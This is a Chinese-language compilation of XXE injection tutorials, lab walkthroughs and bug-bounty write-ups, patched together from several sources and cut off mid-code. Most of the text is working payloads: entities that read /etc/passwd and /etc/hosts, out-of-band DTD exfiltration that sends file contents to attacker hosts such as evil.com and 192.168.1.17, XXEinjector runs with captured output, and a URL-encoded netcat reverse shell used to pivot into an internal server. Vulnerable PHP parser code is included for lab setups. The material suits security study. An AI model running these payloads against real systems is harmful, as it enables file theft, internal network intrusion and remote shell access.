<!ENTITY % payload SYSTEM "file:///tmp/1.txt">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'ftp://test.joychou.me:33/%payload;'>">
目的是讀取XXE漏洞服務器上的/tmp/1.txt文件。
test.joychou.me服務器上執行ruby ftp.rb
訪問URL,http://localhost:8080/xxe?xml=%3C%3fxml+version%3d%221.0%22%3f%3E%3C!DOCTYPE+root+%5b%3C!ENTITY+%25+remote+SYSTEM+%22http%3a%2f%2ftest.joychou.me%3a8081%2fevil.xml%22%3E%25remote%3b%5d%3E%3Croot%2f%3E
/tmp/1.txt的內容爲
$ cat /tmp/1.txt
test
xxe
ftp
FTP Server收到如下內容:
New client connected
< USER anonymous
< PASS Java1.8.0_121@
< TYPE I
< EPSV ALL
< EPSV
< EPRT |1|172.17.29.150|60731|
< RETR test
< xxe
< ftp
能夠看到徹底讀取了/tmp/1.txt的內容,而且還包括XXE漏洞服務器的內網IP 172.17.29.150。
不過有些字符只要存在,文件內容就會讀取不到,好比#等字符,哪行有這些字符,讀取前一行就結束。你們能夠自行測試。
把修復代碼放在了github上。
https://github.com/JoyChou93/java-sec-code
環境介紹:
1.PHP 7.x 最新版
2.Apache 2.x 穩定版
3.libxml 2.8.0
libxml2.9.0之後,默認不解析外部實體,致使XXE漏洞逐漸消亡。爲了演示PHP環境下的XXE漏洞,本例會將libxml2.8.0版本編譯進PHP中。PHP版本並不影響XXE利用。
使用以下命令編譯並啓動環境:
docker-compose build docker-compose up -d
編譯時間較長,請耐心等待。
環境啓動後,訪問http://your-ip/index.php便可看到phpinfo,搜索libxml便可看到其版本爲2.8.0。
Web目錄爲./www,其中包含4個文件:
bash $ tree . . ├── dom.php # 示例:使用DOMDocument解析body ├── index.php ├── SimpleXMLElement.php # 示例:使用SimpleXMLElement類解析body └── simplexml_load_string.php # 示例:使用simplexml_load_string函數解析body
dom.php、SimpleXMLElement.php、simplexml_load_string.php都可觸發XXE漏洞,具體輸出點請閱讀這三個文件的代碼。
Simple XXE Payload:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <root> <name>&xxe;</name> </root>
或者:
<?php
$a=<<<XML //書寫XML文檔
XML; //注:在高版本php中對外部實體的解析默認關閉了,因此下面要這樣寫來啓用
libxml_disable_entity_loader(false);
$data=simplexml_load_string($a, 'SimpleXMLElement', LIBXML_NOENT);
echo $data;
?>
輸出:
URL:google.com/gadgets/directory?synd=toolbar
報告連接:https://blog.detectify.com/2014/04/11/how-we-got-read-access-on-googles-production-servers
描述:
瞭解 XML 以及外部實體以後,這個漏洞實際上就很是直接了。Google 的工具欄按鈕容許開發者定義它們本身的按鈕,經過上傳包含特定元數據的 XML 文件。
可是,根據 Detectify 小組,經過上傳帶有!ENTITY,指向外部文件的 XML 文件,Google 解析了該文件,並渲染了內容。所以,小組使用了 XXE 漏洞來渲染服務器的/etc/passwd文件。遊戲結束。
URL:facebook.com/careers
報告連接:http://www.attack-secure.com/blog/hacked-facebook-word-document
描述:
這個 XXE 有一些區別,而且比第一個例子更有挑戰,由於它涉及到遠程調用服務器,就像咱們在描述中討論的那樣。
2013 年底,Facebook 修補了一個 XXE 漏洞,它可能會升級爲遠程代碼執行漏洞,由於/etc/passwd文件的內容是可訪問的。所以在 Mohamed 於 2014 年 4 月挑戰本身來滲透 Facebook 的時候,它不認爲 XXE 可能存在,直到他發現它們的職位頁面容許用戶上傳.docx文件,它能夠包含 XML。對於那些不知道的人,.docx文件只是個 XML 文件的壓縮包。因此,根據 Mohames,它建立了一個.docx文件,並使用 7zip 打開它來提取內容,並將下面的載荷插入了一個 XML 文件中。
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://197.37.102.90/ext.dtd">
%dtd;
%send;
]]>
你會想到,在解析的時候,若是受害者開啓了外部實體,XML 解析器會調用遠程主機。要注意!ENTITY定義中和下面使用了%。這是由於這些佔位符用在 DTD 自身中。在收到請求調用以後,遠程服務器會發送回 DTD 文件,像這樣:
<!ENTITY send SYSTEM 'http://197.37.102.90/?%26file;'>"
因此,回到文件中的載荷:
1.解析器會將%dtd;替換爲獲取遠程 DTD 文件的調用。
2.解析器會將%send;替換爲服務器的遠程調用,可是%file;會替換爲file:///etc/passwd的內容。
因此,Mohamed 使用 Python 和SimpleHTTPServer開啓了一臺本地服務器,並等待接收:
在報告以後,Facebook 發送了回覆,拒絕了這個報告,並說它們不能重現它,並請求內容的視頻驗證。在交換一些信息以後,Facebook 提到招聘人員可能打開了文件,它會發送任意請求。Facebook 自傲組作了一些深刻的挖掘,並給予了獎金,發送了一個郵件,解釋了這個 XXE 的影響比 2013 年初的要小,可是仍然是一個有效的利用,這裏是這個信息。
重要結論
這裏有一些重要結論。XML 文件以不一樣形式和大小出現。要留意接受.docx、.xlsx、.pptx,以及其它的站點。向我以前提到過的那樣,有時候你不會直接從 XXE 收到響應,這個示例展現瞭如何創建服務器來接受請求,它展現了 XXE。
此外,像咱們的例子中那樣,有時報告一開始會被拒絕。擁有信息和耐心和你報告的公司周旋很是重要。尊重他們的決策,同時也解釋爲何這多是個漏洞。
URL:wikiloc.com
報告連接:http://www.davidsopas.com/wikiloc-xxe-vulnerability
描述:
根據他們的站定,Wikiloc 是個用於發現和分享最佳戶外遠足、騎車以及許多其餘運動記錄的地方。有趣的是,他們也讓用戶經過 XML 文件上傳他們本身的記錄,這就對例如 David Soaps 之類的騎手很是有吸引力了。
基於他們的 Write Up,David 註冊了 Wikiloc,並注意到了 XML 上傳點,決定測試它有沒有 XXE 漏洞。最開始,它從站點下載了文件來判斷 XML 結構,這裏是一個.gpx文件,並插入了*<!DOCTYPE foo [<!ENTITY xxe SYSTEM 「http://www.davidsopas.com/XXE」 > ]>;。
以後它調用了.gpx文件中 13 行的記錄名稱中的實體。
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://www.davidsopas.com/XXE" > ]>
<gpx
version="1.0"
creator="GPSBabel - http://www.gpsbabel.org"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://www.topografix.com/GPX/1/0"
xsi:schemaLocation="http://www.topografix.com/GPX/1/1 http://www.topografix.com/GPX/1/1/gpx.xsd">
<time>2015-10-29T12:53:09Z</time>
<bounds minlat="40.734267000" minlon="-8.265529000" maxlat="40.881475000" maxlon="-8.037170000"/>
<trk>
<name>&xxe;</name>
<trkseg>
<trkpt lat="40.737758000" lon="-8.093361000">
<ele>178.000000</ele>
<time>2009-01-10T14:18:10Z</time>
(...)
這產生了發往服務器的 HTTP GET 請求,GET 144.76.194.66 /XXE/ 10/29/15 1:02PM Java/1.7.0_51。這有兩個緣由值得注意,首先,經過使用一個概念調用的簡單證實,David 可以確認服務器求解了它插入的 XML 而且進行了外部調用。其次,David 使用現存的 XML 文件,以便時它的內容知足站點所預期的結構。雖然它沒有討論這個,調用它的服務器可能並非必須的,若是它可以服務/etc/passwd文件,並將內容渲染在<name>元素中。
在確認 Wikiloc 會生成外部 HTTP 請求後,惟一的疑問就是,是否它可以讀取本地文件。因此,它修改了注入的XML,來讓 Wikiloc 向他發送它們的/etc/passwd文件內容。
<!DOCTYPE roottag [
<!ENTITY % file SYSTEM "file:///etc/issue">
<!ENTITY % dtd SYSTEM "http://www.davidsopas.com/poc/xxe.dtd">
%dtd;]>
<gpx
version="1.0"
creator="GPSBabel - http://www.gpsbabel.org"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://www.topografix.com/GPX/1/0"
xsi:schemaLocation="http://www.topografix.com/GPX/1/1 http://www.topografix.com/GPX/1/1/gpx.xsd">
<time>2015-10-29T12:53:09Z</time>
<bounds minlat="40.734267000" minlon="-8.265529000" maxlat="40.881475000" maxlon="-8.037170000"/>
<trk>
<name>&send;</name>
(...)
這看起來十分熟悉。這裏他使用了兩個實體,它們都在 DTD 中求值,因此它們使用%定義。&send;在<name>標籤中的的引用實際上由返回的xxe.dtd文件定義,他的服務器將其發送回 Wikiloc。這裏是這個文件:
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://www.davidsopas.com/XXE?%file;'>">
%all;
要注意%all;實際上定義了!ENTITY send,咱們剛剛在<name>標籤中注意到它。這裏是求值的過程:
1.Wikiloc 解析了 XML,並將%dtd;求值爲 David 的服務器的外部調用。
2.David 的服務器向 Wikiloc 返回了xxe.dtd文件。
3.Wikiloc 解析了收到的 DTD文件,它觸發了%all;的調用。
4.當%all;求值時,它定義了&send;,它包含%file;實體的調用。
5.%file;在 URL 值中被替換爲/etc/passwd文件的內容。
6.Wikiloc 解析了 XML 文件,發現了&send;實體,它求值爲 David 服務器的遠程調用,帶有/etc/passwd的內容,做爲 URL 中的參數。
重要結論:
像以前提到的那樣,這是一個不錯的例子,展現瞭如何使用來自站點的 XML 模板,來組裝你本身的 XML 實體,便於讓目標合理地解析文件。這裏,Wikiloc 期待.gpx文件,而 David 保留了該結構,在預期標籤中插入了他本身的 XML 實體,也就是<name>標籤。此外,觀察如何處理惡意 DTD 文件頗有意思,而且能夠用於隨後讓目標向你的服務器發送 GET 請求,帶有文件內容做爲 URL 參數。
日前,某office文檔轉換軟件被爆存在XXE漏洞(PS:感謝TSRC平臺白帽子Titans`報告漏洞),某一應用場景爲:Web程序調用該office軟件來獲取office文檔內容後提供在線預覽。因爲該軟件在處理office文檔時,讀取xml文件且容許引用外部實體,當用戶上傳惡意文檔並預覽時觸發XXE攻擊。詳情以下:
新建一個正常文檔,內容爲Hi TSRC,
使用該軟件轉換後能夠獲得文本格式的文檔內容,
當往該docx的xml文件注入惡意代碼(引用外部實體)時,可進行XXE攻擊。
這裏按照 Attacking XML with XML External Entity Injection (XXE) 的教程在 kali 2 下進行測試
Victim IP: 192.168.1.28
Attacker IP: 192.168.1.17
存在xxe漏洞的php代碼以下,加了一些註釋
<?php
# Enable the ability to load external entities
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
# http://hublog.hubmed.org/archives/001854.html
# LIBXML_NOENT: 將 XML 中的實體引用 替換 成對應的值
# LIBXML_DTDLOAD: 加載 DOCTYPE 中的 DTD 文件
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // this stuff is required to make sure
$creds = simplexml_import_dom($dom);
$user = $creds->user;
$pass = $creds->pass;
echo "You have logged in as user $user";
?>
在 /var/www/html 下建立 xmlinject.php 文件,啓動apache
cd /var/www/html
vim xmlinject.php
service apache2 start
測試
POST http://192.168.1.28/xmlinject.php
<creds>
<user>admin</user>
<pass>mypass</pass>
</creds>
響應
You have logged in as user admin
使用外部實體來加載本地文件
POST http://192.168.1.28/xmlinject.php
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
這裏聲明瞭一個外部實體 xxe,值爲 file:///etc/passwd,即本地 /etc/passwd 文件的內容
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
而後在元素 user 內引用了該實體 &xxe;
<user>&xxe;</user>
請求響應
You have logged in as user root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
....
命令執行由於默認都沒有裝 expect module, 就不進行測試了
在以前的例子中,結果被做爲響應的一部分被返回了,但若是遇到沒有回顯的狀況,就須要使用其餘辦法。
由於沒法直接將要讀取的文件內容發送到服務器,因此須要經過變量的方式,先把要讀取的文件內容保存到變量中,而後經過 URL 引用外部實體的方式,在 URL 中引用該變量,讓文件內容成爲 URL 的一部分(如查詢參數),而後經過查看訪問日誌的方式來獲取數據。
前面提到只有在 DTD 文件中聲明 參數實體 時才能夠引用其餘參數實體,如
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ENTITY % param1 "Hello">
<!ENTITY % param2 ",World">
<!ENTITY % outter SYSTEM "other.dtd">
%outter;
]>
other.dtd 文件內容爲:
<!ENTITY % name "%param1;%param2;">
參數實體 name 引用了 參數實體 param1 和 param2,最後的值爲 Hello,World
根據上面的分析,給出方法:
請求payload
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.1.17:80/file.dtd">%remote;%int;%send;
]>
<foo></foo>
外部 DTD 文件 http://192.168.1.17:80/file.dtd 內容:
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % int "<!ENTITY % send system 'http://192.168.1.17:80/?p=%file;'>">
由於實體的值中不能有 %, 因此將其轉成html實體編碼 ` %`
過程分析:
首先 %remote; 加載 外部 DTD 文件,獲得:
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % int "<!ENTITY % send system 'http://192.168.1.17:80/?p=%file;'>">
%int;%send;
接着 %int; 獲取對應實體的值,由於值中包含實體引用 %file;, 即 /etc/hosts 文件的內容,獲得:
<!ENTITY % send system 'http://192.168.1.17:80/?p=[文件內容]'>
%send;
最後 %send; 獲取對應實體的值,會去請求對應 URL 的資源,經過查看訪問日誌便可獲得文件內容,固然這裏還須要對內容進行編碼,防止XML解析出錯.
**如下內容參考了exploitation-xml-external-entity-xxe-injection 這篇文章 **
這裏使用 XXEinjector 來進行無回顯自動化獲取文件。
首先修改以前的代碼,去掉回顯
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
// $creds = simplexml_import_dom($dom);
// $user = $creds->user;
// $pass = $creds->pass;
// echo "You have logged in as user $user";
?>
下載 XXEinjector
git clone https://github.com/enjoiz/XXEinjector.git
cd XXEinjector
使用 burp 獲取原始正常的請求
curl -d @xml.txt http://192.168.1.28/xmlinject.php --proxy http://127.0.0.1:8081
xml.txt 內容
<creds>
<user>Ed</user>
<pass>mypass</pass>
</creds>
burp中獲取到的請求信息
POST /xmlinject.php HTTP/1.1
Host: 192.168.1.28
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 57
Content-Type: application/x-www-form-urlencoded
<creds>
<user>Ed</user>
<pass>mypass</pass>
</creds>
在須要注入 DTD 的地方加入 XXEINJECT,而後保存到 phprequest.txt,XXEinjector 須要根據原始請求來進行獲取文件內容的操做
POST /xmlinject.php HTTP/1.1
Host: 192.168.1.28
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 57
Content-Type: application/x-www-form-urlencoded
XXEINJECT
<creds>
<user>Ed</user>
<pass>mypass</pass>
</creds>
運行 XXEinjector
sudo ruby XXEinjector.rb --host=192.168.1.17 --path=/etc/hosts --file=phprequest.txt --proxy=127.0.0.1:8081 --oob=http --verbose --phpfilter
參數說明
host: 用於反向鏈接的 IP
path: 要讀取的文件或目錄
file: 原始有效的請求信息,可使用 XXEINJECT 來指出 DTD 要注入的位置
proxy: 代理服務器,這裏使用burp,方便查看發起的請求和響應
oob:使用的協議,支持 http/ftp/gopher,這裏使用http
phpfilter:使用 PHP filter 對要讀取的內容進行 base64 編碼,解決傳輸文件內容時的編碼問題
運行後會輸出 payload 和 引用的 DTD 文件
XXEinjector git:(master) sudo ruby XXEinjector.rb --host=192.168.1.17 --path=/etc/hosts --file=phprequest.txt --proxy=127.0.0.1:8081 --oob=http --verbose --phpfilter
Password:
XXEinjector by Jakub Pałaczyński
DTD injected.
Enumeration locked.
Sending request with malicious XML:
http://192.168.1.28:80/xmlinject.php
{"User-Agent"=>"curl/7.43.0", "Accept"=>"*/*", "Content-Length"=>"159", "Content-Type"=>"application/x-www-form-urlencoded"}
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://192.168.1.17:80/file.dtd">%remote;%int;%trick;]>
<creds>
<user>Ed</user>
<pass>mypass</pass>
</creds>
Got request for XML:
GET /file.dtd HTTP/1.0
Responding with XML for: /etc/hosts
XML payload sent:
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/hosts">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://192.168.1.17:80/?p=%payl;'>">
payload爲
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://192.168.1.17:80/file.dtd">%remote;%int;%trick;]>
DTD文件爲
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/hosts">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://192.168.1.17:80/?p=%payl;'>">
成功獲取到文件
Response with file/directory content received:
GET /?p=MTI3LjAuMC4xCWxvY2FsaG9zdAoxMjcuMC4xLjEJa2FsaQoKIyBUaGUgZm9sbG93aW5nIGxpbmVzIGFyZSBkZXNpcmFibGUgZm9yIElQdjYgY2FwYWJsZSBob3N0cwo6OjEgICAgIGxvY2FsaG9zdCBpcDYtbG9jYWxob3N0IGlwNi1sb29wYmFjawpmZjAyOjoxIGlwNi1hbGxub2RlcwpmZjAyOjoyIGlwNi1hbGxyb3V0ZXJzCg== HTTP/1.0
Enumeration unlocked.
Successfully logged file: /etc/hosts
XXEinjector git:(master) cat Logs/192.168.1.28/etc/hosts.log
127.0.0.1 localhost
127.0.1.1 kali
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
在 kali 下拿 /etc/passwd 測試時,沒法獲取到,文件大小爲 2.9K,base64後的長度爲 3924 個字符
root@kali:/var/www/html# ls -lh /etc/passwd
-rw-r--r-- 1 root root 2.9K Jan 20 2016 /etc/passwd
報錯爲:
root@kali:/var/www/html# tail -f /var/log/apache2/error.log -n 0
[Wed Nov 16 04:45:23.548874 2016] [:error] [pid 1379] [client 192.168.1.17:57042] PHP Warning: DOMDocument::loadXML(): Detected an entity reference loop in http://192.168.1.17:80/file.dtd, line: 2 in /var/www/html/xmlinject.php on line 5
[Wed Nov 16 04:45:23.549126 2016] [:error] [pid 1379] [client 192.168.1.17:57042] PHP Notice: DOMDocument::loadXML(): PEReference: %int; not found in Entity, line: 1 in /var/www/html/xmlinject.php on line 5
[Wed Nov 16 04:45:23.549155 2016] [:error] [pid 1379] [client 192.168.1.17:57042] PHP Notice: DOMDocument::loadXML(): PEReference: %trick; not found in Entity, line: 1 in /var/www/html/xmlinject.php on line 5
減小文件大小後,能夠獲取到,推測應該是 外部實體中的 URI 有長度限制致使沒法獲取到
使用如下PHP腳本,它解析發送給它的XML並將其回傳給用戶。我把它命名爲NEW_XXE.php,並把它放在個人Web根目錄下的CUSTOM目錄中。
<?php
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$xml = simplexml_import_dom($dom);
$stuff = $xml->stuff;
$str = "$stuff \n";
echo $str;
?>
若是要在實驗室中建立此場景,你能夠將上述腳本放入PHP服務器(要先確保安裝了php-xml)
如今建立一個xml文件,做爲請求發送到具備如下內容的服務器。我命名爲「send.txt」,並將其從服務器上發送到本地主機,以確保一切都符合預期。
你能夠把任何你想要的東西,像這樣把它發送到本地主機。
將「send.txt」修改成如下內容:
這是對Linux系統的典型XXE攻擊,是證實該漏洞存在的好方法。若是一切正常,你應該獲得一個「/ etc / passwd」轉儲(dump)。
從 服務器上 再次發送到本地主機。
XXE能夠作的另外一件很是有用的事情是建立HTTP請求。
在WEBSVR01上的8888端口上啓動python SimpleHTTPServer,咱們來看看會發生什麼。
個人python http server服務器。
咱們能夠發送http請求了。
在遠程系統中,我能夠利用此漏洞並獲取一些網絡信息。在這裏我解釋一下這個漏洞,你能夠在互聯網上許多的Web服務器上發現這個漏洞,你能夠用它做爲樞軸點。
下圖顯示了所有。我在34.200.157.128找到了一個網絡服務器,該主機真的是NAT /Firewall設備後面的WEBSVR01。WEBSVR01有一個XXE漏洞,我想用來收集信息並用來攻擊利用WEBSRV02。個人攻擊PC是在開放的互聯網上的。
若是你作了適當的信息收集或者枚舉,你能夠發現這是一個Ubuntu的服務器。你能夠在幾個敏感的地址查看到這個服務器的網路信息。
首先,你要抓取「/etc/networking/interfaces」,若是須要更多信息,能夠查看「/proc/net/route」(若是這些值爲十六進制,則可能須要轉換它們)。
在個人攻擊PC(Ubuntu 14 LTS)中,我建立請求文件從Web服務器抓取「/etc/network/interfaces」。
在ATTACK PC上編輯文件來抓取/etc/passwd:
發送請求:
如今咱們知道這個內部網絡或DMZ的IP方案的host地址是在哪了。咱們使用XXE來獲取其內部IP地址10.0.0.3得服務器默認頁面。
注意:有些字符會破壞XML。到目前爲止,咱們只查看了文件或者作了簡單的http請求,沒有返回會破壞咱們的XML的字符。因爲咱們使用的是PHP,因此返回的內容是base64編碼的。在ATTACK PC上更改你的「send.txt」以匹配如下內容,並添加如下PHP過濾器。
如今發送請求
如今咱們獲得了base64編碼的內容,一旦解碼,咱們就獲得了網頁的內容了。
將上面的都放在一塊兒,咱們如今能夠掃描Web服務器的內部IP範圍了。
固然使用Python了。
你能夠在個人<a href="https://github.com/rschwass/SCRIPTS/blob/master/XEE_SCANNER.py">GitHub上獲取腳本。
從ATTACK PC, EXECUTE!
讓咱們看看Base64如何解碼10.0.0.4返回的數據。
exploit-db.com上的小漏洞:https://www.exploit-db.com/exploits/10610/
由於咱們得到了一個index.pl(Perl)文件,因此我要假設CGI是啓用的,因此這個漏洞能夠執行。它經過在GET請求中傳遞參數來執行,所以咱們能夠對面向公網的主機進行XXE漏洞攻擊。
解密Metasploit模塊後,須要發送的請求就像此URL編碼的http請求同樣:
http://10.0.0.4/index.pl?%60mknod%20backpipe%20p%20%26%26%20nc%2034.200.157.80%201337%2
00%3Cbackpipe%20%7C%20%2Fbin%2Fbash%201%3Ebackpipe%26%60
注意,我把個人IP地址放在「34.200.157.80」,個人Netcat偵聽器就會啓動。整個字符串是一個URL編碼的反向Netcat外殼,沒有使用「-e」來使用mknod和backpipe。
如今讓咱們經過XXE漏洞來觸發10.0.0.4的漏洞。
在ATTACK PC上建立Netcat偵聽器並執行!
如今你獲得一個反向的Shell了
那是2016年7月26日的晚上,我遊蕩在ubermovement網站上,鑑於這只是一個小型應用網站,沒有太多的參數能夠進行注入測試,我只能先從界面上那大大的搜索框開始常規的測試。
首先,打開個人 Burp Suite 設置代理開始監聽瀏覽器請求,而後就是在網站上瞎轉悠咯…
隨後,我在網站目錄中發現 「search」 存在兩個請求:
1. 這個是我搜索的關鍵字:http://ubermovement.com/api/search/GeneralSearch?crumb=ASmuamNBJiP4eyC3qpXZWu87i5X6PWGh&q=cat&p=0
2. http://ubermovement.com/api/search/GeneralSearch
如今,對於第一個請求我要開始進行各類測試了,包括:XSS、SQL 注入、XPATH、XXE、命令注入…
但理想老是豐滿的,而現實倒是骨幹的,我沒有發現任何可能存在的漏洞。
那我只能開始繼續測試第二請求了,因爲其沒有任何參數,因此我將其發送至 「Repeater」 模塊,看看是否可能存在目錄相關的漏洞。
在大部分的注入測試所有失敗後,我開始嘗試看看是否存在 XXE 漏洞。
第一件事是先將請求方法改成 POST 看看會得到什麼樣的相應:
結果,POST 請求的相應跟 GET 請求同樣,那麼請求頭部加一個Content-type:application/xml同時添加以下基本的 XML 代碼做爲請求怎麼樣呢?
<?xml version=」1.0″encoding=」utf-8″?>
<GeneralSearch>cat</GeneralSearch>
居然回覆的是一個 XML 錯誤,太好了,這下我有60%的把握肯定這裏存在 XXE 漏洞。既然肯定了那就開始進行 Blind XEE 測試吧。
第一個使用以下 XML 代碼:
<?xmlversion="1.0" encoding="utf-8"?>
<!DOCTYPE dtgmlf6 [ <!ENTITY xxe SYSTEM"file:///etc/passwd">
]>
<GeneralSearch>&xxe;</GeneralSearch>
但很不幸,我獲得仍是一個 XML 錯誤的回覆。那如今來試試經過 OOB(Out-of-band)方法進行遠程文件訪問測試:
step-1: 在本地上下載安裝 XAMPP 並搭建一個網站
step-2: 開啓 80 端口的網站,讓外部網絡可以訪問到
step-3: 使用以下 Payoad:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtgmlf6 [<!ENTITY dtgmlf6ent SYSTEM "http://0.0.0.0/">
]>
<GeneralSearch>&dtgmlf6ent;</GeneralSearch>
step-4: 開始攻擊,隨後獲得以下報錯
step-5: 接着查看服務器日誌我發現了來自目標服務器的資源獲取請求
至此,手工測試已經基本肯定了目標存在 XXE 漏洞,那麼再讓咱們用 AWVS 掃描確認下吧。
肯定目標存在 XXE 漏洞,那目標的子域名是否一樣存在這個漏洞呢?來讓咱們使用 Google 搜索下就知道了,測試發現目標子域名一樣也都存在這個漏洞,好了是時候提交漏洞了。
當容許引用外部實體時,經過構造惡意內容,可致使讀取任意文件、執行系統命令、探測內網端口、攻擊內網網站等危害。
使用simplexml_load_string函數解析body
<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);
echo $xml->name;
?>
有回顯,直接讀取文件
Payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
無回顯,引用遠程服務器上的XML文件讀取文件
Payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://xxe.com/1.xml">
%remote;]>
將如下1.xml保存到WEB服務器下
1.xml
<!ENTITY % a SYSTEM "file:///etc/passwd">
<!ENTITY % b "<!ENTITY % c SYSTEM 'gopher://xxe.com/%a;'>"> %b; %c
在主機上放一個接收文件的php(get.php):
<?php
file_put_contents('01.txt', $_GET['xxe_local']);
?>
1.xml內容:
<!ENTITY % payload SYSTEM"php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://xxe.com/get.php?xxe_local=%payload;'>">
%int;
%trick;
這個XML,他引用了外部實體etc/passwd做爲payload的值,而後又將payload拼接到http://xxe.com/get.php?xxe_local=%payload;,進行HTTP請求。
接收到請求的get.php就將這個文件內容保存到01.txt了,造成了一個文件讀取的過程。
發包過去後,就會請求1.xml,解析這個xml形成XXE攻擊,讀取etc/passwd並進行base64編碼後傳給get.php,最後保存到主機上
提交POST請求XML文件
提交一個POST請求,請求頭加上Content-type:application/xml
同時添加測試代碼
<?xml version="1.0"encoding="utf-8"?>
<test>cat</test>
經過OOB(Out-of-band)方法遠程訪問文件測試
1. 自建一個網站開啓80端口
2. 在測試網站提交payload,以下
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtgmlf6 [<!ENTITY dtgmlf6ent SYSTEM "http://0.0.0.0/">
]>
<GeneralSearch>&dtgmlf6ent;</GeneralSearch>
3.查看網站返回內容
4.查看自建服務器訪問日誌,是否有DTD文件等請求
出於演示的目的,咱們將用到一個Acunetix維護的demo站點,這個站點就是: http://testhtml5.vulnweb.com/。這個站點可用於測試Acunetix web掃描器的功能。 訪問 http://testhtml5.vulnweb.com/ 站點,點擊 ‘Login’下面的 ‘Forgot Password’ 連接。注意觀察應用程序怎樣使用XML傳輸數據,過程以下圖所示:
請求:
響應:
觀察上面的請求與響應,咱們能夠看到,應用程序正在解析XML內容,接受特定的輸入,而後將其呈現給用戶。爲了測試驗證XML解析器確實正在解析和執行咱們自定義的XML內容,咱們發送以下的請求
修改後的請求和響應:
如上圖所示,咱們在上面的請求中定義了一個名爲myentity、值爲’testing’的實體。 響應報文清晰地展現瞭解析器已經解析了咱們發送的XML實體,而後並將實體內容呈現出來了。 由此,咱們能夠確認,這個應用程序存在XXE漏洞
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://evil.com/?content=%file;'>">
%payload;
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ENTITY % file SYSTEM "php://fileter/convert.base64-encode/resource=c:/windows/win.ini">
<!ENTITY % dtd SYSTEM "http://192.168.1.100:8000/evil.dtd">
%dtd;
%send;]>
<root></root>
1.檢測xml是否被解析
<?xml version="1.0" encoding="ISO-8859-1"?>
<Prod>
<Prod>
<Type>abc</type>
<name>Bugcrowd</name>
<id>21</id>
</Prod>
</Prod>
2.檢測是否支持外部實體解析
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://YOURIP/TEST.ext" >]>
<Prod>
<Prod>
<Type>abc</type>
<name>Bugcrowd</name>
<id>&xxe</id>
</Prod>
</Prod>
在用戶可控的XML數據裏面將惡意內容寫入到實體中,便可致使任意文件讀取,系統命令執行等危害。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ELEMENT root (data)>
<!ELEMENT data (#PCDATA)>
<!ENTITY var "tzuxung">
]>
<root>
<data>&var;</data>
</root>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ELEMENT root (data)>
<!ELEMENT data (#PCDATA)>
<!ENTITY var SYSTEM "file:///etc/passwd">
]>
<root>
<data>&var;</data>
</root>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ELEMENT root (data)>
<!ELEMENT data (#PCDATA)>
<!ENTITY var SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/xxe.php">
]>
<root>
<data>&var;</data>
</root>
xxe.php是一個存在XXE注入漏洞的簡單頁面
<html>
<body>
<h1>XXE Example</h1>
<form method="post" enctype="multipart/form-data">
<label for="file">XML File:</label>
<input type="file" name="file" id="file">
<input type="submit" name="submit" value="Upload">
</form>
<h1>Result</h1>
<?php
if( isset($_FILES["file"])){
$doc = new DOMDocument();
$doc->validateOnParse = true;
